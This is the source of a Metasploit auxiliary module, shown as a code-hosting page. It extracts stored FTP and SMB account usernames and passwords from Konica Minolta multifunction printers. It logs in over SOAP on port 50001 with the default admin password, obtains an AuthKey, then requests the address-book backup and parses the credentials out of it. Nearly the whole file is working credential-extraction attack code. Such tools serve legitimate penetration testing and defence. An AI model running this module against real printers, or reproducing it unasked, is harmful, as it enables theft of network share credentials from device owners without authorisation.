/modules/auxiliary/gather/konica_minolta_pwd_extract.rb
Ruby | 259 lines | 226 code | 18 blank | 15 comment | 5 complexity | a8628d68e5eca82dd72312d57bbacf32 MD5 | raw file
- #
- # This module requires Metasploit: http://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'rex/proto/http'
- require 'msf/core'
- class Metasploit3 < Msf::Auxiliary
- include Msf::Exploit::Remote::HttpClient
- include Msf::Auxiliary::Report
- include Msf::Auxiliary::Scanner
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Konica Minolta Password Extractor',
- 'Description' => %q{
- This module will extract FTP and SMB account usernames and passwords
- from Konica Minolta multifunction printer (MFP) devices. Tested models include
- C224, C280, 283, C353, C360, 363, 420, C452, C452, C452, C454e, and C554.
- },
- 'Author' =>
- [
- 'Deral "Percentx" Heiland',
- 'Pete "Bokojan" Arzamendi'
- ],
- 'License' => MSF_LICENSE
- ))
- register_options(
- [
- Opt::RPORT('50001'),
- OptString.new('USER', [false, 'The default Admin user', 'Admin']),
- OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
- OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
- ], self.class)
- end
- # Creates the XML data to be sent that will extract AuthKey
- def generate_authkey_request_xlm(major, minor)
- user = datastore['USER']
- passwd = datastore['PASSWD']
- Nokogiri::XML::Builder.new do |xml|
- xml.send('SOAP-ENV:Envelope',
- 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
- 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
- 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
- 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
- xml.send('SOAP-ENV:Header'){
- xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
- xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
- xml.send('UserName', 'xmlns' => '') { xml.text '' }
- xml.send('Password', 'xmlns' => '') { xml.text '' }
- xml.send('Version', 'xmlns' => ''){
- xml.send('Major') { xml.text "#{major}" }
- xml.send('Minor') { xml.text "#{minor}" }
- }
- xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
- }
- }
- xml.send('SOAP-ENV:Body') {
- xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
- xml.send('OperatorInfo'){
- xml.send('UserType') { xml.text "#{user}" }
- xml.send('Password') { xml.text "#{passwd}" }
- }
- xml.send('TimeOut') { xml.text '60' }
- }
- }
- }
- end
- end
- # Create XML data that will be sent to extract SMB and FTP passwords from device
- def generate_pwd_request_xlm(major, minor, authkey)
- Nokogiri::XML::Builder.new do |xml|
- xml.send('SOAP-ENV:Envelope',
- 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
- 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
- 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
- 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
- xml.send('SOAP-ENV:Header'){
- xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
- xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
- xml.send('UserName', 'xmlns' => '') { xml.text '' }
- xml.send('Password', 'xmlns' => '') { xml.text '' }
- xml.send('Version', 'xmlns' => ''){
- xml.send('Major') { xml.text "#{major}" }
- xml.send('Minor') { xml.text "#{minor}" }
- }
- xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
- }
- }
- xml.send('SOAP-ENV:Body'){
- xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
- xml.send('OperatorInfo'){
- xml.send('AuthKey') { xml.text "#{authkey}" }
- }
- xml.send('AbbrListCondition'){
- xml.send('SearchKey') { xml.text 'None' }
- xml.send('WellUse') { xml.text 'false' }
- xml.send('ObtainCondition'){
- xml.send('Type') { xml.text 'OffsetList' }
- xml.send('OffsetRange'){
- xml.send('Start') { xml.text '1' }
- xml.send('Length') { xml.text '100' }
- }
- }
- xml.send('BackUp') { xml.text 'true' }
- xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
- }
- }
- }
- }
- end
- end
- # This next section will post the XML soap messages for information gathering.
- def run_host(ip)
- print_status("Attempting to extract username and password from the host at #{peer}")
- version
- end
- # Validate XML Major Minor version
- def version
- response = send_request_cgi(
- {
- 'uri' => '/',
- 'method' => 'POST',
- 'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
- }, datastore['TIMEOUT'].to_i)
- if response.nil?
- print_error("No reponse from device")
- return
- else
- xml0_body = ::Nokogiri::XML(response.body)
- major_parse = xml0_body.xpath('//Major').text
- minor_parse = xml0_body.xpath('//Minor').text
- major = ("#{major_parse}")
- minor = ("#{minor_parse}")
- login(major, minor)
- end
- rescue ::Rex::ConnectionError
- print_error("Version check Connection failed.")
- end
- # This section logs on and retrieves AuthKey token
- def login(major, minor)
- authreq_xml = generate_authkey_request_xlm(major, minor)
- # Send post request with crafted XML to login and retreive AuthKey
- begin
- response = send_request_cgi(
- {
- 'uri' => '/',
- 'method' => 'POST',
- 'data' => authreq_xml.to_xml
- }, datastore['TIMEOUT'].to_i)
- if response.nil?
- print_error("No reponse from device")
- return
- else
- xml1_body = ::Nokogiri::XML(response.body)
- authkey_parse = xml1_body.xpath('//AuthKey').text
- authkey = ("#{authkey_parse}")
- extract(major, minor, authkey)
- end
- rescue ::Rex::ConnectionError
- print_error("Login Connection failed.")
- end
- end
- # This section post xml soap message that will extract usernames and passwords
- def extract(major, minor, authkey)
- if (authkey != '')
- # create xml request to extract user credintial settings
- smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
- # Send post request with crafted XML as data
- begin
- response = send_request_cgi(
- {
- 'uri' => '/',
- 'method' => 'POST',
- 'data' => smbreq_xml.to_xml
- }, datastore['TIMEOUT'].to_i)
- if response.nil?
- print_error("No reponse from device")
- return
- else
- xml2_body = ::Nokogiri::XML(response.body)
- @smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
- @smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
- @smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
- @ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
- @ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
- @ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
- @ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
- end
- end
- i = 0
- # output SMB data
- @smb_user.each do
- shost = "#{@smb_host[i]}"
- sname = "#{@smb_user[i]}"
- sword = "#{@smb_pass[i]}"
- print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
- register_creds('smb', shost, '139', sname, sword)
- i += 1
- end
- i = 0
- # output FTP data
- @ftp_user.each do
- fhost = "#{@ftp_host[i]}"
- fname = "#{@ftp_user[i]}"
- fword = "#{@ftp_pass[i]}"
- fport = "#{@ftp_port[i]}"
- print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
- register_creds('ftp', fhost, fport, fname, fword)
- i += 1
- end
- else
- print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
- return
- end
- end
- def register_creds(service_name, remote_host, remote_port, username, password)
- credential_data = {
- origin_type: :service,
- module_fullname: self.fullname,
- workspace_id: myworkspace.id,
- private_data: password,
- private_type: :password,
- username: username
- }
- service_data = {
- address: remote_host,
- port: remote_port,
- service_name: service_name,
- protocol: 'tcp',
- workspace_id: myworkspace_id
- }
- credential_data.merge!(service_data)
- credential_core = create_credential(credential_data)
- login_data = {
- core: credential_core,
- status: Metasploit::Model::Login::Status::UNTRIED,
- workspace_id: myworkspace_id
- }
- login_data.merge!(service_data)
- create_credential_login(login_data)
- end
- end